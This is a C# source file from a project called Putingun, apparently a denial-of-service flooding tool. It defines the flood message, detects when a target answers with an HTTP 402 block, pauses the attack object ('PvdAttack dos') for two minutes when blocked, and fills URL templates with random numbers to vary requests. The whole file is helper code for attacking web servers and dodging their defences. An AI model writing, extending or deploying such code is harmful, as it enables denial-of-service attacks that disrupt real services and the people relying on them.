﻿// ------------------------------------------------------------------
// DO NOT REMOVE THIS LINES IN ANY TIMES WILL BE.
// Original author: agehack
// Project name: Putingun
// ------------------------------------------------------------------

// Здесь различное динамическое

using System;
using System.Text;

namespace Putingun
{
    public static class Extras
    {
        public static bool ReactBad = true;
        public static int ReactBadSleep = 60 * 2;

        // XXP 
        public static byte[] g_FlooderMessage()
        {
            string message = "A cat is fine, too. ~desudesudesu";
            return Encoding.ASCII.GetBytes(message);
        }

        // HTTP
        public static bool g_isResponseOk(byte[] rec_html)
        {
            return g_isResponseOk(Encoding.ASCII.GetString(rec_html));
        }
        public static bool g_isResponseOk(string rec_html)
        {
            if (rec_html == null || rec_html.Length < 10)
                return false;

            if (rec_html.ToLower().Contains("HTTP/1.1 402 Payment Required".ToLower()))
                return false;

            return true;
        }
        public static void v_badDetected(PvdAttack dos)
        {
            if (!ReactBad)
                return;
            if (dos.IsSleeping)
                return;

            dos.Sleep(ReactBadSleep);
        }
        public static string g_subsite(string format)
        {
            if (!format.Contains("{0}"))
                return format;
            Random rnd = new Random(DateTime.Now.Millisecond);
            return String.Format(format,
                rnd.Next(0, Int32.MaxValue / 2).ToString(),
                rnd.Next(0, Int32.MaxValue / 2).ToString(),
                rnd.Next(0, Int32.MaxValue / 2).ToString());
        }
    }
}
